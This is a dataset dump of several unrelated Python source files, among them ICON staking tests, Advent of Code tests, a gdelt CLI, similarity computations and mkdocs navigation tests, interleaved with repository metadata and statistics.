self.assertGreaterEqual(last_slot_block_height2, last_slot_block_height) # decrease slots total_unstake = sum(unstake_list[:3]) tx_results: List["TransactionResult"] = self.set_stake(from_=self._accounts[0], value=stake-total_unstake) fee = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - fee response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) response: dict = self.get_stake(self._accounts[0]) expected_unstakes = [unstake, unstake, unstake] for i in range(len(expected_unstakes)): self.assertEqual(expected_unstakes[i], response["unstakes"][i]["unstake"]) def test_migrate_unstake_data(self): self.update_governance() # set Revision REV_IISS self.set_revision(Revision.IISS.value) # gain 1000 icx balance: int = 1000 * ICX_IN_LOOP self.distribute_icx(accounts=self._accounts[:1], init_balance=balance) # set stake stake: int = 100 * ICX_IN_LOOP tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) fee = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - stake - fee response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) balance = expected_balance # unstake 10 unstake = 10 * ICX_IN_LOOP total_unstake = unstake tx_results: List["TransactionResult"] = self.set_stake(from_=self._accounts[0], value=stake-total_unstake) fee = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - fee response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) balance = expected_balance response: dict = self.get_stake(self._accounts[0]) unstake_info = response unstake_block_height = unstake_info["unstakeBlockHeight"] # unstake 10 again and unstakeBlockHeight will be changed in rev IISS unstake = 10 * ICX_IN_LOOP total_unstake = unstake tx_results: List["TransactionResult"] = self.set_stake(from_=self._accounts[0], value=stake-total_unstake) fee = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - fee response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) balance = expected_balance response: dict = self.get_stake(self._accounts[0]) unstake_info = response unstake_block_height2 = unstake_info["unstakeBlockHeight"] self.assertGreaterEqual(unstake_block_height2, unstake_block_height) # set Revision REV_MULTIPLE_UNSTAKE self.set_revision(Revision.MULTIPLE_UNSTAKE.value) # unstake 10 again and unstakeBlockHeight will not be changed unstake = 10 * ICX_IN_LOOP total_unstake = unstake tx_results: List["TransactionResult"] = self.set_stake(from_=self._accounts[0], value=stake-total_unstake) fee = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - fee response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) balance = expected_balance response: dict = self.get_stake(self._accounts[0]) unstake_info = response["unstakes"][0] unstake_block_height3 = unstake_info["unstakeBlockHeight"] self.assertEqual(unstake_block_height2, unstake_block_height3) # unstake 20 to add more entry to unstake list unstake = 20 * ICX_IN_LOOP total_unstake = unstake tx_results: List["TransactionResult"] = self.set_stake(from_=self._accounts[0], value=stake-total_unstake) fee = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - fee response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) response: dict = self.get_stake(self._accounts[0]) self.assertEqual(2, len(response['unstakes'])) for unstake_info in response["unstakes"]: self.assertEqual(10 * ICX_IN_LOOP, unstake_info['unstake']) def test_update_unstake_block_height(self): self.update_governance() # set Revision REV_IISS self.set_revision(Revision.IISS.value) # gain 1000 icx balance: int = 1000 * ICX_IN_LOOP self.distribute_icx(accounts=self._accounts[:1], init_balance=balance) # set stake stake: int = 100 * ICX_IN_LOOP tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) fee = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - stake - fee response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) balance = expected_balance # unstake 10 unstake = 10 * ICX_IN_LOOP total_unstake = unstake tx_results: List["TransactionResult"] = self.set_stake(from_=self._accounts[0], value=stake-total_unstake) fee2 = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - fee2 response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) balance = expected_balance response: dict = self.get_stake(self._accounts[0]) self.assertEqual(response["unstake"], unstake) # set stake 120 icx and unstake info will be removed new_stake = 120 * ICX_IN_LOOP tx_results: List["TransactionResult"] = self.set_stake(from_=self._accounts[0], value=new_stake) fee2 = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - fee2 - (new_stake - stake) response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) balance = expected_balance response: dict = self.get_stake(self._accounts[0]) self.assertNotIn("unstakes", response) # set Revision REV_MULTIPLE_UNSTAKE self.set_revision(Revision.MULTIPLE_UNSTAKE.value) # unstake 10 unstake = 10 * ICX_IN_LOOP tx_results: List["TransactionResult"] = self.set_stake(from_=self._accounts[0], value=new_stake-unstake) fee2 = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - fee2 response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) balance = expected_balance response: dict = self.get_stake(self._accounts[0]) self.assertEqual(response["unstakes"][0]["unstake"], unstake) # set stake 140 icx and unstake info will be removed new_stake2 = 140 * ICX_IN_LOOP tx_results: List["TransactionResult"] = self.set_stake(from_=self._accounts[0], value=new_stake2) fee2 = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - fee2 - (new_stake2 - new_stake) response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) response: dict = self.get_stake(self._accounts[0]) self.assertNotIn("unstakes", response) def test_stake_with_value_should_raise_exception(self): self.update_governance() self.set_revision(Revision.IISS.value) balance: int = 10 * ICX_IN_LOOP self.distribute_icx(accounts=self._accounts[:1], init_balance=balance) tx: dict = self.create_score_call_tx(from_=self._accounts[0], to_=SYSTEM_SCORE_ADDRESS, func_name='setStake', params={"value": hex(8 * ICX_IN_LOOP)}, value=5) return self.process_confirm_block_tx([tx], expected_status=False)

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null

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0

null

0

7

fba4276d22a96a19de78a0042951c4a04ac5f7ea

1,467

py

Python

AdventOfCode2019Day03/test/test_day03.py

bdlepla/AdventOfCode2019

27a8289bae8510f8af457658b2fa10d5345f9426

[ "Unlicense" ]

null

AdventOfCode2019Day03/test/test_day03.py

bdlepla/AdventOfCode2019

27a8289bae8510f8af457658b2fa10d5345f9426

[ "Unlicense" ]

null

AdventOfCode2019Day03/test/test_day03.py

bdlepla/AdventOfCode2019

27a8289bae8510f8af457658b2fa10d5345f9426

[ "Unlicense" ]

null

def test_solve_part_1(): import day03 raw_lines = """ R8,U5,L5,D3 U7,R6,D4,L4 """.split("\n") trimmed_lines = map(lambda s: s.strip(), raw_lines) lines = list(filter(None, trimmed_lines)) day03 = day03.Day03(lines) actual = day03.solve_part_1() expected = 6 assert expected == actual def test_solve_part_1a(): import day03 raw_lines = """ R98,U47,R26,D63,R33,U87,L62,D20,R33,U53,R51 U98,R91,D20,R16,D67,R40,U7,R15,U6,R7 """.split("\n") trimmed_lines = map(lambda s: s.strip(), raw_lines) lines = list(filter(None, trimmed_lines)) day03 = day03.Day03(lines) actual = day03.solve_part_1() expected = 135 assert expected == actual def test_solve_part_2(): import day03 raw_lines = """ R8,U5,L5,D3 U7,R6,D4,L4 """.split("\n") trimmed_lines = map(lambda s: s.strip(), raw_lines) lines = list(filter(None, trimmed_lines)) day03 = day03.Day03(lines) actual = day03.solve_part_2() expected = 30 assert expected == actual def test_solve_part_2a(): import day03 raw_lines = """ R98,U47,R26,D63,R33,U87,L62,D20,R33,U53,R51 U98,R91,D20,R16,D67,R40,U7,R15,U6,R7 """.split("\n") trimmed_lines = map(lambda s: s.strip(), raw_lines) lines = list(filter(None, trimmed_lines)) day03 = day03.Day03(lines) actual = day03.solve_part_2() expected = 410 assert expected == actual

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4.013761

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null

0

1

0

1

0

null

0

7

fbc27064c5b1571af1925f1b23fe88e0ccfe8c87

3,314

py

Python

manage.py

volod/gdelt20utils

4fdcc1803d4ef300d4d30857752faa1c9dcb63d0

[ "Apache-2.0" ]

null

manage.py

volod/gdelt20utils

4fdcc1803d4ef300d4d30857752faa1c9dcb63d0

[ "Apache-2.0" ]

null

manage.py

volod/gdelt20utils

4fdcc1803d4ef300d4d30857752faa1c9dcb63d0

[ "Apache-2.0" ]

null

import click from gdelt20utils.common import constants from gdelt20utils.common.gd_config import config from gdelt20utils.extract.run import run_extract from gdelt20utils.load.run import run_load @click.group(help="Extract") @click.pass_context def cli(ctx): ctx.obj.update(config) @cli.command("extract", help="Extract gdelt20 data") @click.option("--base_path", "-b", type=click.Path(), required=True, default=constants.DEFAULT_DATA_PATH, help="gdelt20 data target path") @click.option("--start_date", "-d", type=click.DateTime(), required=True, help="gdelt20 data set start day") @click.option("--finish_date", "-n", type=click.DateTime(), required=True, help="gdelt20 data set finish date") @click.option("--languages", "-l", type=click.Choice(constants.GDELT_LANGUAGE, case_sensitive=True), required=True, default=constants.GDELT_LANGUAGE, multiple=True, help="gdelt20 data set language corpus") @click.option("--object_types", "-o", type=click.Choice(constants.GDELT_OBJ_TYPE, case_sensitive=True), required=True, default=constants.GDELT_OBJ_TYPE, multiple=True, help="gdelt20 data set object type to load") @click.pass_obj def extract(config_obj, base_path, start_date, finish_date, languages, object_types): run_extract( config_obj, base_path, start_date, finish_date, languages, object_types ) @cli.command("load", help="load gdelt20 data") @click.option("--base_path", "-b", type=click.Path(), required=True, default=constants.DEFAULT_DATA_PATH, help="gdelt20 data source path") @click.option("--target_service", "-s", required=True, default=constants.TARGET_SERVISES[0], help="gdelt20 data source path") @click.option("--start_date", "-d", type=click.DateTime(), required=True, help="gdelt20 data set start day") @click.option("--finish_date", "-n", type=click.DateTime(), required=True, help="gdelt20 data set finish date") @click.option("--languages", "-l", type=click.Choice(constants.GDELT_LANGUAGE, case_sensitive=True), required=True, default=constants.GDELT_LANGUAGE, multiple=True, help="gdelt20 data set language corpus") @click.option("--object_types", "-o", type=click.Choice(constants.GDELT_OBJ_TYPE, case_sensitive=True), required=True, default=constants.GDELT_OBJ_TYPE, multiple=True, help="gdelt20 data set object type to load") @click.pass_obj def extract(config_obj, base_path, target_service, start_date, finish_date, languages, object_types): # TODO: implement extraction into targets directly from api run_load( config_obj, base_path, target_service, start_date, finish_date, languages, object_types ) if __name__ == "__main__": cli(obj={})

33.816327

101

0.602595

370

3,314

5.213514

0.183784

0.074132

0.085537

0.078797

0.782271

0.760498

0

0.014712

0.282136

3,314

97

102

34.164948

0.796133

0.0172

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0.738636

0

0.165591

0

0.010309

0

1

0.034091

false

0.034091

0.056818

0

0.090909

0

null

0

1

0

1

0

null

0

1

0

7

837d5c64bd96c47f04f0f162592dcb9e30cb89e4

1,424

py

Python

tests/core/shh-module/test_shh_filter.py

happyuc-project/webu.py

5a01124fc84d74df09a33d9dabe88b704cd5b6c6

[ "MIT" ]

null

tests/core/shh-module/test_shh_filter.py

happyuc-project/webu.py

5a01124fc84d74df09a33d9dabe88b704cd5b6c6

[ "MIT" ]

null

tests/core/shh-module/test_shh_filter.py

happyuc-project/webu.py

5a01124fc84d74df09a33d9dabe88b704cd5b6c6

[ "MIT" ]

null

import time def test_shh_sync_filter(webu, skip_if_testrpc): skip_if_testrpc(webu) topic = webu.toHex(text="test") shh_filter = webu.shh.filter({"topics": [topic]}) payloads = [] payloads.append(str.encode("payload1")) webu.shh.post({ "topics": [topic], "payload": webu.toHex(text=payloads[-1]), }) time.sleep(1) payloads.append(str.encode("payload2")) webu.shh.post({ "topics": [topic], "payload": webu.toHex(text=payloads[-1]), }) time.sleep(1) received_messages = shh_filter.get_new_entries() assert len(received_messages) > 1 for message in received_messages: assert message["payload"] in payloads def test_shh_async_filter(webu, skip_if_testrpc): skip_if_testrpc(webu) received_messages = [] topic = webu.toHex(text="test") shh_filter = webu.shh.filter({"topics": [topic]}) shh_filter.watch(received_messages.append) payloads = [] payloads.append(str.encode("payload1")) webu.shh.post({ "topics": [topic], "payload": webu.toHex(text=payloads[-1]), }) time.sleep(1) payloads.append(str.encode("payload2")) webu.shh.post({ "topics": [topic], "payload": webu.toHex(text=payloads[-1]), }) time.sleep(1) assert len(received_messages) > 1 for message in received_messages: assert message["payload"] in payloads

25.890909

53

0.630618

175

1,424

4.977143

0.211429

0.128588

0.089552

0.105626

0.851894

0.760046

0

0.012534

0.21559

1,424

54

26.37037

0.767234

0

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0

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0.045455

false

0

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0.068182

0

null

0

1

0

1

0

null

0

7

8396aec6cdc039aca71f59317d7f8329e0b7d8dc

492

py

Python

client/libsinan/sinexceptions.py

asceth/sinan

289e0d18b7cf97b9c98a978741c6b17d91d6c254

[ "MIT" ]

1

2016-05-09T00:28:00.000Z

client/libsinan/sinexceptions.py

asceth/sinan

289e0d18b7cf97b9c98a978741c6b17d91d6c254

[ "MIT" ]

null

client/libsinan/sinexceptions.py

asceth/sinan

289e0d18b7cf97b9c98a978741c6b17d91d6c254

[ "MIT" ]

null

class SinanError(Exception): """ A very simple exception class to use as a base exception class for the sinan client """ def __init__(self, value): self.value = value def __str__(self): return repr(self.value) class ParseError(SinanError): """ A very simple exception class to use as a base exception class for the sinan client """ def __init__(self, value): self.value = value def __str__(self): return repr(self.value)

22.363636

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0.648374

66

492

4.590909

0.333333

0.178218

0.072607

0.132013

0.838284

0

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492

21

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null

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1

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null

0

1

0

1

0

9

839b24ac96a4c82108ad8c844c46ee4fdacc28c2

88

py

Python

qiwi_handler/qiwi_handler/loader/__init__.py

bezumnui/qiwi_handler

9562b1a8c8fcc1910dbc722278cb6f5af313fa02

[ "MIT" ]

null

qiwi_handler/qiwi_handler/loader/__init__.py

bezumnui/qiwi_handler

9562b1a8c8fcc1910dbc722278cb6f5af313fa02

[ "MIT" ]

null

qiwi_handler/qiwi_handler/loader/__init__.py

bezumnui/qiwi_handler

9562b1a8c8fcc1910dbc722278cb6f5af313fa02

[ "MIT" ]

null

from qiwi_handler.loader.do_request import * from qiwi_handler.loader.converter import *

44

0.852273

13

88

5.538462

0.615385

0.222222

0.416667

0.583333

0

0.079545

88

2

45

44

0.888889

0

1

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true

0

1

0

1

0

1

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null

1

0

1

0

null

0

1

0

1

0

1

0

8

83ae8a04e1be7a1bfda53476a34faa6b892efd35

276

py

Python

geomstats/backend/numpy_random.py

effigies/geomstats

0d6979a15cefcf98f7f92bade9d0e4abee3dde14

[ "MIT" ]

1

2018-05-23T20:18:23.000Z

geomstats/backend/numpy_random.py

leslie-chu/geomstats

fbed39b47b16eab4a48179106e8d0c1a5891243d

[ "MIT" ]

null

geomstats/backend/numpy_random.py

leslie-chu/geomstats

fbed39b47b16eab4a48179106e8d0c1a5891243d

[ "MIT" ]

null

"""Numpy based random backend.""" import numpy as np def rand(*args, **kwargs): return np.random.rand(*args, **kwargs) def randint(*args, **kwargs): return np.random.randint(*args, **kwargs) def seed(*args, **kwargs): return np.random.seed(*args, **kwargs)

17.25

45

0.648551

38

276

4.710526

0.368421

0.335196

0.268156

0.301676

0.402235

0

0.163043

276

15

46

18.4

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0

1

0.428571

true

0

0.142857

0.428571

1

0

null

1

0

null

0

1

0

1

0

7

83b7da992b40ecf38f69b01a0036fdc01f402635

7,988

py

Python

surprise/mySimilarities.py

filippoboscoUniTn/SurpriseMod

776fdb05a8cffa8e065f53f64166ca862db7de77

[ "BSD-3-Clause" ]

null

surprise/mySimilarities.py

filippoboscoUniTn/SurpriseMod

776fdb05a8cffa8e065f53f64166ca862db7de77

[ "BSD-3-Clause" ]

null

surprise/mySimilarities.py

filippoboscoUniTn/SurpriseMod

776fdb05a8cffa8e065f53f64166ca862db7de77

[ "BSD-3-Clause" ]

null

from __future__ import (absolute_import, division, print_function, unicode_literals) import numpy as np from six.moves import range from six import iteritems import h5py def batched_cosine(n_x, yr, xr, min_support, batch_size, file_path, group_name, dset_name, *args, **kwargs): try: f = h5py.File(file_path, 'r+') except OSError: raise ValueError('File {} inesistente'.format(file_path)) #Apertura file di scrittura della matrice dset = f[group_name+'/'+dset_name] #Iterate over users/items in batched fashion for current_batch in range(0, n_x, batch_size): inf = current_batch sup = (current_batch + batch_size) if (current_batch + batch_size) < n_x else n_x current_batch_size = sup - inf prods = np.zeros((current_batch_size, n_x), np.double) freq = np.zeros((current_batch_size, n_x), np.int) sqi = np.zeros((current_batch_size, n_x), np.double) sqj = np.zeros((current_batch_size, n_x), np.double) sim = np.empty((current_batch_size, n_x), np.double) sim.fill(np.nan) for indice, (x, r_xs) in enumerate(list(xr.items())[inf:sup]): for y, r_x in r_xs: for ox, r_ox in yr[y]: freq[indice, ox] += 1 prods[indice, ox] += r_x*r_ox sqi[indice, ox] += r_x**2 sqj[indice, ox] += r_ox**2 for indice, x_i in enumerate(range(inf, sup)): for x_j in range(0, n_x): if freq[indice, x_j] < min_support: sim[indice, x_j] = 0 else: denum = np.sqrt(sqi[indice, x_j] * sqj[indice, x_j]) num = prods[indice, x_j] if(denum != 0): sim[indice, x_j] = num/denum else: sim[indice, x_j] = 0 sim[indice, x_i] = 1 dset[inf:sup] = sim f.close() return dset_name def batched_msd(n_x, yr, xr, min_support, batch_size, file_path, group_name, dset_name, *args, **kwargs): try: f = h5py.File(file_path, 'r+') except OSError: raise ValueError('File {} esistente'.format(file_path)) #Apertura file di scrittura della matrice dset = f[group_name+'/'+dset_name] #Iterate over users/items in batched fashion for current_batch in range(0, n_x, batch_size): inf = current_batch sup = (current_batch + batch_size) if (current_batch + batch_size) < n_x else n_x current_batch_size = sup - inf sq_diff = np.zeros((current_batch_size, n_x), np.double) freq = np.zeros((current_batch_size, n_x), np.int) sim = np.empty((current_batch_size, n_x), np.double) sim.fill(np.nan) for indice, (x, r_xs) in enumerate(list(xr.items())[inf:sup]): for y, r_x in r_xs: for ox, r_ox in yr[y]: freq[indice, ox] += 1 sq_diff[indice, ox] += (r_x - r_ox)**2 for indice, x_i in enumerate(range(inf, sup)): for x_j in range(0, n_x): if freq[indice, x_j] < min_support: sim[indice, x_j] = 0 else: sim[indice, x_j] = 1 / (sq_diff[indice, x_j] / freq[indice, x_j] + 1) sim[indice, x_i] = 1 dset[inf:sup] = sim f.close() return dset_name def batched_pearson(n_x, yr, xr, min_support, batch_size, file_path, group_name, dset_name, *args, **kwargs): try: f = h5py.File(file_path, 'r+') except OSError: raise ValueError('File {} inesistente'.format(file_path)) #Apertura file di scrittura della matrice dset = f[group_name+'/'+dset_name] #Iterate over users/items in batched fashion for current_batch in range(0, n_x, batch_size): inf = current_batch sup = (current_batch + batch_size) if (current_batch + batch_size) < n_x else n_x current_batch_size = sup - inf prods = np.zeros((current_batch_size, n_x), np.double) freq = np.zeros((current_batch_size, n_x), np.int) sqi = np.zeros((current_batch_size, n_x), np.double) sqj = np.zeros((current_batch_size, n_x), np.double) si = np.zeros((current_batch_size, n_x), np.double) sj = np.zeros((current_batch_size, n_x), np.double) sim = np.empty((current_batch_size, n_x), np.double) sim.fill(np.nan) for indice, (x, r_xs) in enumerate(list(xr.items())[inf:sup]): for y, r_x in r_xs: for ox, r_ox in yr[y]: freq[indice, ox] += 1 prods[indice, ox] += r_x*r_ox sqi[indice, ox] += r_x**2 sqj[indice, ox] += r_ox**2 si[indice, ox] += r_x sj[indice, ox] += r_ox for indice, x_i in enumerate(range(inf, sup)): for x_j in range(x_i + 1, n_x): if freq[indice, x_j] < min_support: sim[indice, x_j] = 0 else: n = freq[indice, x_j] num = n * prods[indice, x_j] - si[indice, x_j] * sj[indice, x_j] denum = np.sqrt((n * sqi[indice, x_j] - si[indice, x_j]**2) * (n * sqj[indice, x_j] - sj[indice, x_j]**2)) if denum == 0: sim[indice, x_j] = 0 else: sim[indice, x_j] = num / denum sim[indice, x_i] = 1 dset[inf:sup] = sim f.close() return dset_name def batched_pearson_baseline(n_x, yr, xr, min_support, batch_size, file_path, group_name, dset_name, global_mean, x_biases, y_biases, shrinkage=100, *args, **kwargs): try: f = h5py.File(file_path, 'r+') except OSError: raise ValueError('File {} già esistente'.format(file_path)) #Apertura file di scrittura della matrice dset = f[group_name+'/'+dset_name] #Iterate over users/items in batched fashion for current_batch in range(0, n_x, batch_size): inf = current_batch sup = (current_batch + batch_size) if (current_batch + batch_size) < n_x else n_x current_batch_size = sup - inf prods = np.zeros((current_batch_size, n_x), np.double) freq = np.zeros((current_batch_size, n_x), np.int) sq_diff_i = np.zeros((current_batch_size, n_x), np.double) sq_diff_j = np.zeros((current_batch_size, n_x), np.double) sim = np.empty((current_batch_size, n_x), np.double) sim.fill(np.nan) for indice, (x, r_xs) in enumerate(list(xr.items())[inf:sup]): for y, r_x in r_xs: partial_bias = global_mean + y_biases[y] for ox, r_ox in yr[y]: freq[indice, ox] += 1 diff_i = (r_x - (partial_bias + x_biases[x])) diff_j = (r_ox - (partial_bias + x_biases[ox])) prods[indice, ox] += diff_i * diff_j sq_diff_i[indice, ox] += diff_i**2 sq_diff_j[indice, ox] += diff_j**2 for indice, x_i in enumerate(range(inf, sup)): for x_j in range(x_i + 1, n_x): if freq[indice, x_j] < min_support: sim[indice, x_j] = 0 else: sim[indice, x_j] = prods[indice, x_j] / (np.sqrt(sq_diff_i[indice, x_j] * sq_diff_j[indice, x_j])) # the shrinkage part sim[indice, x_j] *= (freq[indice, x_j] - 1) / (freq[indice, x_j] - 1 + shrinkage) if sim[indice, x_j] == -0: sim[indice, x_j] = 0 sim[indice, x_i] = 1 dset[inf:sup] = sim f.close() return dset_name

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166

0.537682

1,163

7,988

3.450559

0.091144

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0.065786

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7,988

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null

0

1

0

1

0

null

0

7

83bb1ca143e17c7fef9e84d87f94f2d1e81cf101

1,282

py

Python

python/problem8.py

shubhamoy/project-euler-solutions

9af99c4371ff565d5d8b13fe2fbaaafa5a29da51

[ "MIT" ]

1

2016-05-14T15:58:03.000Z

python/problem8.py

shubhamoy/project-euler-solutions

9af99c4371ff565d5d8b13fe2fbaaafa5a29da51

[ "MIT" ]

null

python/problem8.py

shubhamoy/project-euler-solutions

9af99c4371ff565d5d8b13fe2fbaaafa5a29da51

[ "MIT" ]

null

#!/usr/bin/python def pod(val): prod = 1 for i in range(len(val)): prod = prod * int(val[i]) return prod x = "7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450" n = 13 y = [x[i:i+n] for i in range(0, len(x), 1)] big = 1 for i in range(len(y)): product = pod(y[i]) if product > big: big = product print "Biggest: ", big

67.473684

1,006

0.906396

58

1,282

20.034483

0.448276

0.010327

0.015491

0.028399

0.025818

0

0.826623

0.050702

1,282

18

1,007

71.222222

0.128184

0.012481

0

0.797628

0.790514

0

1

0

null

0

null

0.071429

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null

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1

0

1

0

1

0

1

null

1

0

1

0

8

83ec9b7c9a3477b48326ee72edb0ec0c03ee4889

11,336

py

Python

mkdocs_awesome_pages_plugin/tests/navigation/test_nav.py

Owen-Liuyuxuan/mkdocs-awesome-pages-plugin

961363989877cbe4e4f9d0acda9ff22e352be9e1

[ "MIT" ]

226

2018-02-07T09:58:36.000Z

2022-03-31T16:33:54.000Z

mkdocs_awesome_pages_plugin/tests/navigation/test_nav.py

Owen-Liuyuxuan/mkdocs-awesome-pages-plugin

961363989877cbe4e4f9d0acda9ff22e352be9e1

[ "MIT" ]

55

2018-02-07T10:36:38.000Z

2022-03-16T03:23:47.000Z

mkdocs_awesome_pages_plugin/tests/navigation/test_nav.py

Owen-Liuyuxuan/mkdocs-awesome-pages-plugin

961363989877cbe4e4f9d0acda9ff22e352be9e1

[ "MIT" ]

30

2018-05-01T17:27:03.000Z

2022-03-04T07:33:28.000Z

from .base import NavigationTestCase from ...meta import Meta, MetaNavItem, MetaNavRestItem from ...navigation import NavEntryNotFound class TestNav(NavigationTestCase): def test_all_listed(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2'), self.page('3'), Meta(nav=[ MetaNavItem('2.md'), MetaNavItem('3.md'), MetaNavItem('1.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('2'), self.page('3'), self.page('1') ]) self.assertValidNavigation(navigation.to_mkdocs()) def test_some_listed(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2'), self.page('3'), Meta(nav=[ MetaNavItem('3.md'), MetaNavItem('1.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('3'), self.page('1') ]) self.assertValidNavigation(navigation.to_mkdocs()) def test_none_listed(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2'), self.page('3'), Meta(nav=[]) ]) self.assertNavigationEqual(navigation.items, []) self.assertValidNavigation(navigation.to_mkdocs()) def test_rest(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2'), self.page('3'), self.page('4'), Meta(nav=[ MetaNavItem('3.md'), MetaNavRestItem('...'), MetaNavItem('1.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('3'), self.page('2'), self.page('4'), self.page('1') ]) self.assertValidNavigation(navigation.to_mkdocs()) def test_rest_empty(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2'), Meta(nav=[ MetaNavItem('2.md'), MetaNavRestItem('...'), MetaNavItem('1.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('2'), self.page('1') ]) self.assertValidNavigation(navigation.to_mkdocs()) def test_rest_glob(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2a'), self.page('2b'), self.page('3'), Meta(nav=[ MetaNavItem('1.md'), MetaNavRestItem('... | 2*.md'), MetaNavItem('1.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('1'), self.page('2a'), self.page('2b'), self.page('1') ]) def test_rest_glob_section(self): navigation = self.createAwesomeNavigation([ self.page('a'), self.page('b'), self.section('Section A', [ self.page('1a', 'a/1a.md'), self.page('1b', 'a/1b.md'), self.page('2a', 'a/2a.md'), self.page('2b', 'a/2b.md'), Meta(nav=[ MetaNavRestItem('... | *b.md'), MetaNavRestItem('...') ], path='a/.pages') ], 'a'), Meta(nav=[ MetaNavRestItem('... | a*'), MetaNavItem('b.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('a'), self.section('Section A', [ self.page('1b', 'a/1b.md'), self.page('2b', 'a/2b.md'), self.page('1a', 'a/1a.md'), self.page('2a', 'a/2a.md') ], 'a'), self.page('b') ]) self.assertValidNavigation(navigation.to_mkdocs()) def test_rest_glob_precedence(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('1a'), self.page('1b'), self.page('2'), self.page('2a'), self.page('2b'), Meta(nav=[ MetaNavRestItem('...'), MetaNavItem('/', 'Link 1'), MetaNavRestItem('... | 1*.md'), MetaNavItem('/', 'Link 2'), MetaNavRestItem('... | *[ab].md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('2'), self.link('Link 1', '/'), self.page('1'), self.page('1a'), self.page('1b'), self.link('Link 2', '/'), self.page('2a'), self.page('2b') ]) self.assertValidNavigation(navigation.to_mkdocs()) def test_rest_regex(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2a'), self.page('2b'), self.page('3'), Meta(nav=[ MetaNavItem('1.md'), MetaNavRestItem(r'... | regex=2\w*\.md'), MetaNavItem('1.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('1'), self.page('2a'), self.page('2b'), self.page('1') ]) def test_rest_regex_section(self): navigation = self.createAwesomeNavigation([ self.page('a'), self.page('b'), self.section('Section A', [ self.page('1a', 'a/1a.md'), self.page('1b', 'a/1b.md'), self.page('2a', 'a/2a.md'), self.page('2b', 'a/2b.md'), Meta(nav=[ MetaNavRestItem(r'... | regex=\w*b\.md'), MetaNavRestItem('...') ], path='a/.pages') ], 'a'), Meta(nav=[ MetaNavRestItem(r'... | regex=a\w*'), MetaNavItem('b.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('a'), self.section('Section A', [ self.page('1b', 'a/1b.md'), self.page('2b', 'a/2b.md'), self.page('1a', 'a/1a.md'), self.page('2a', 'a/2a.md') ], 'a'), self.page('b') ]) self.assertValidNavigation(navigation.to_mkdocs()) def test_rest_regex_precedence(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('1a'), self.page('1b'), self.page('2'), self.page('2a'), self.page('2b'), Meta(nav=[ MetaNavRestItem('...'), MetaNavItem('/', 'Link 1'), MetaNavRestItem(r'... | regex=1\w*\.md'), MetaNavItem('/', 'Link 2'), MetaNavRestItem(r'... | regex=\w*[ab]\.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('2'), self.link('Link 1', '/'), self.page('1'), self.page('1a'), self.page('1b'), self.link('Link 2', '/'), self.page('2a'), self.page('2b') ]) self.assertValidNavigation(navigation.to_mkdocs()) def test_title(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2'), Meta(nav=[ MetaNavItem('2.md', 'Title'), MetaNavItem('1.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('Title', '2.md'), self.page('1') ]) self.assertValidNavigation(navigation.to_mkdocs()) def test_existing_link(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2'), self.link('Link'), Meta(nav=[ MetaNavItem('2.md'), MetaNavItem('1.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('2'), self.page('1') ]) self.assertValidNavigation(navigation.to_mkdocs()) def test_existing_link_rest(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2'), self.link('Link'), Meta(nav=[ MetaNavItem('2.md'), MetaNavRestItem('...'), MetaNavItem('1.md') ]) ]) 